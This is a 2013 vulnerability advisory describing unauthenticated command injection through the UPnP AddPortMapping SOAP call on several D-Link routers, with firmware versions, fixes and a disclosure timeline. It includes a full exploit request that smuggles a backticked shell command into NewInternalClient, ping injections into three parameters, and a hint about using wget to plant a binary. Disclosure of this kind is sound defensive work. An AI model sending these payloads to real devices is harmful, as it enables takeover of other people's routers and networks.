Vendor: D-Link
Devices: DIR-300 rev B / DIR-600 rev B / DIR-645 / DIR-845 / DIR-865

============ Vulnerable Firmware Releases: ============
DIR-300 rev B - 2.14b01
DIR-600 - 2.16b01
DIR-645 - 1.04b01
DIR-845 - 1.01b02
DIR-865 - 1.05b03

Other devices and firmware versions may be also vulnerable.

============ Vulnerability Overview: ============

 * Unauthenticated OS Command Injection 

The vulnerability is caused by missing input validation in different XML parameters. This vulnerability could be exploited to inject and execute arbitrary shell commands.

WARNING: You do not need to be authenticated to the device to insert and execute malicious commands.
Hint: On different devices wget is preinstalled and you are able to upload and execute your malicious binary.

=> Parameter: NewInternalClient, NewInternalClient, NewInternalPort

Example Request:
POST /soap.cgi?service=WANIPConn1 HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
Host: 10.8.28.133:49152
Content-Type: text/xml
Content-Length: 649

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="https://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="https://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewPortMappingDescription></NewPortMappingDescription>
<NewLeaseDuration></NewLeaseDuration>
<NewInternalClient>`COMMAND`</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewExternalPort>634</NewExternalPort>
<NewRemoteHost></NewRemoteHost>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>45</NewInternalPort>
</m:AddPortMapping>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>


You could use miranda for your own testing:

* NewInternalClient
Required argument:
Argument Name:  NewInternalClient
Data Type:      string
Allowed Values: []
Set NewInternalClient value to: `ping 192.168.0.100`

* NewExternalPort
Required argument:
Argument Name:  NewExternalPort
Data Type:      ui2
Allowed Values: []
Set NewExternalPort value to: `ping 192.168.0.100`

* NewInternalPort
Required argument:
Argument Name:  NewInternalPort
Data Type:      ui2
Allowed Values: []
Set NewInternalPort value to: `ping 192.168.0.100`

Screenshot: https://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/dir-865-v105-shell.png

============ Solution ============

DIR-300 rev B - disable UPnP
DIR-600 - update to v2.17b01
DIR-645 - update to v1.04b11
DIR-845 - update to v1.02b03
DIR-865 - disable UPnP

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: https://www.s3cur1ty.de/advisories
Twitter: @s3cur1ty_de

============ Time Line: ============

06.06.2013 - discovered vulnerability
07.06.2013 - reported vulnerability to vendor
=> some fixes are available but there is no communication with the vendor
06.07.2013 - public disclosure at Sigint 2013
06.07.2013 - public disclosure of advirsory

===================== Advisory end =====================